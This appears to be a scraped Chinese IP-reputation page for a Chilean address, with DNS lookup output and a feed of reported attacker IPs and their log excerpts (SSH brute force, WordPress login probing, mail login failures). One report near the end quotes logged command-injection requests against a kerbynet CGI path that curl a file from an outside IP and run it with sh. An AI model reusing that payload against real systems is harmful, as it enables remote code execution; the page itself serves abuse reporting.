必须是合法有效的IP地址, 可以是IPv4或者是IPv6, 例如127.0.0.1或者2001:DB8:0:0:8:800:200C:417A
基本信息:

城市(city): Santiago

省份(region): Santiago Metropolitan

国家(country): Chile

运营商(isp): unknown

主机名(hostname): unknown

机构(organization): unknown

使用类型(Usage Type): unknown

用户上报:
暂无关于此IP的讨论, 沙发请点上方按钮
相同子网IP讨论:
暂无关于此IP所属子网相关IP的讨论.
WHOIS信息:
b
DIG信息:
; <<>> DiG 9.10.3-P4-Ubuntu <<>> 152.139.45.122
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 52632
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;152.139.45.122.			IN	A

;; AUTHORITY SECTION:
.			3600	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2019091300 1800 900 604800 86400

;; Query time: 2 msec
;; SERVER: 67.207.67.2#53(67.207.67.2)
;; WHEN: Sat Sep 14 02:37:32 CST 2019
;; MSG SIZE  rcvd: 118
HOST信息:
Host 122.45.139.152.in-addr.arpa. not found: 3(NXDOMAIN)
NSLOOKUP信息:
Server:		67.207.67.2
Address:	67.207.67.2#53

** server can't find 122.45.139.152.in-addr.arpa: NXDOMAIN
相关IP信息:
最新评论:
IP 类型 评论内容 时间
193.228.91.11 attackbots
 TCP (SYN) 193.228.91.11:49477 -> port 22, len 48
2020-09-01 14:46:20
134.122.94.113 attackspambots
134.122.94.113 - - \[01/Sep/2020:08:01:57 +0200\] "POST /wp-login.php HTTP/1.0" 200 4128 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
134.122.94.113 - - \[01/Sep/2020:08:01:58 +0200\] "POST /wp-login.php HTTP/1.0" 200 3955 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
134.122.94.113 - - \[01/Sep/2020:08:01:58 +0200\] "POST /xmlrpc.php HTTP/1.0" 200 736 "-" "Mozilla/5.0 \(X11\; Ubuntu\; Linux x86_64\; rv:62.0\) Gecko/20100101 Firefox/62.0"
2020-09-01 14:31:54
139.59.243.224 attackspambots
Sep  1 13:06:06 webhost01 sshd[3876]: Failed password for root from 139.59.243.224 port 54570 ssh2
...
2020-09-01 14:30:23
202.136.92.132 attackspam
202.136.92.132 - - [01/Sep/2020:05:53:50 +0200] "POST /xmlrpc.php HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"
202.136.92.132 - - [01/Sep/2020:05:53:51 +0200] "POST /wordpress/xmlrpc.php HTTP/1.1" 301 162 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.93 Safari/537.36"
...
2020-09-01 14:26:17
66.79.188.23 attackspam
Invalid user four from 66.79.188.23 port 36186
2020-09-01 14:49:57
61.177.172.168 attackbotsspam
Sep  1 08:41:21 v22019058497090703 sshd[10252]: Failed password for root from 61.177.172.168 port 15520 ssh2
Sep  1 08:41:34 v22019058497090703 sshd[10252]: Failed password for root from 61.177.172.168 port 15520 ssh2
Sep  1 08:41:34 v22019058497090703 sshd[10252]: error: maximum authentication attempts exceeded for root from 61.177.172.168 port 15520 ssh2 [preauth]
...
2020-09-01 14:57:47
178.33.12.237 attackbots
Sep  1 08:24:41 abendstille sshd\[13063\]: Invalid user eric from 178.33.12.237
Sep  1 08:24:41 abendstille sshd\[13063\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.33.12.237
Sep  1 08:24:43 abendstille sshd\[13063\]: Failed password for invalid user eric from 178.33.12.237 port 60207 ssh2
Sep  1 08:26:33 abendstille sshd\[14856\]: Invalid user leela from 178.33.12.237
Sep  1 08:26:33 abendstille sshd\[14856\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=178.33.12.237
...
2020-09-01 14:45:37
178.62.214.85 attackspam
Invalid user rajesh from 178.62.214.85 port 35828
2020-09-01 15:09:55
73.217.20.19 attackbotsspam
Brute forcing email accounts
2020-09-01 14:52:42
193.27.229.189 attack
firewall-block, port(s): 59231/tcp
2020-09-01 15:09:36
45.142.120.89 attack
2020-09-01 08:31:02 dovecot_login authenticator failed for \(User\) \[45.142.120.89\]: 535 Incorrect authentication data \(set_id=thalia@no-server.de\)
2020-09-01 08:31:10 dovecot_login authenticator failed for \(User\) \[45.142.120.89\]: 535 Incorrect authentication data \(set_id=tor@no-server.de\)
2020-09-01 08:31:12 dovecot_login authenticator failed for \(User\) \[45.142.120.89\]: 535 Incorrect authentication data \(set_id=tor@no-server.de\)
2020-09-01 08:31:35 dovecot_login authenticator failed for \(User\) \[45.142.120.89\]: 535 Incorrect authentication data \(set_id=tor@no-server.de\)
2020-09-01 08:31:40 dovecot_login authenticator failed for \(User\) \[45.142.120.89\]: 535 Incorrect authentication data \(set_id=tor@no-server.de\)
2020-09-01 08:31:42 dovecot_login authenticator failed for \(User\) \[45.142.120.89\]: 535 Incorrect authentication data \(set_id=pypi@no-server.de\)
...
2020-09-01 14:49:39
171.25.193.78 attackspam
Time:     Tue Sep  1 04:56:55 2020 +0000
IP:       171.25.193.78 (SE/Sweden/tor-exit4-readme.dfri.se)
Failures: 5 (sshd)
Interval: 3600 seconds
Blocked:  Permanent Block [LF_SSHD]

Log entries:

Sep  1 04:56:42 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:44 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:47 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:50 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
Sep  1 04:56:52 ca-1-ams1 sshd[7878]: Failed password for root from 171.25.193.78 port 59649 ssh2
2020-09-01 14:33:05
173.230.158.167 attack
20 attempts against mh-misbehave-ban on fire
2020-09-01 15:05:41
61.177.172.54 attackbots
Sep  1 09:04:51 sshgateway sshd\[31999\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=61.177.172.54  user=root
Sep  1 09:04:54 sshgateway sshd\[31999\]: Failed password for root from 61.177.172.54 port 22616 ssh2
Sep  1 09:05:04 sshgateway sshd\[31999\]: Failed password for root from 61.177.172.54 port 22616 ssh2
2020-09-01 15:13:54
23.98.152.191 attackbots
webserver:80 [01/Sep/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
webserver:80 [31/Aug/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
webserver:80 [31/Aug/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
webserver:80 [30/Aug/2020]  "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 403 0
2020-09-01 14:37:07

最近上报的IP列表

36.82.121.119 212.156.84.138 80.19.33.214 213.158.41.121
211.166.183.25 252.246.184.63 133.48.231.217 252.117.238.209
193.203.220.192 207.112.203.140 216.62.218.99 8.184.2.66
41.21.253.233 88.117.104.61 222.77.4.167 9.102.178.24
207.59.90.206 192.161.169.118 198.32.209.30 111.24.192.81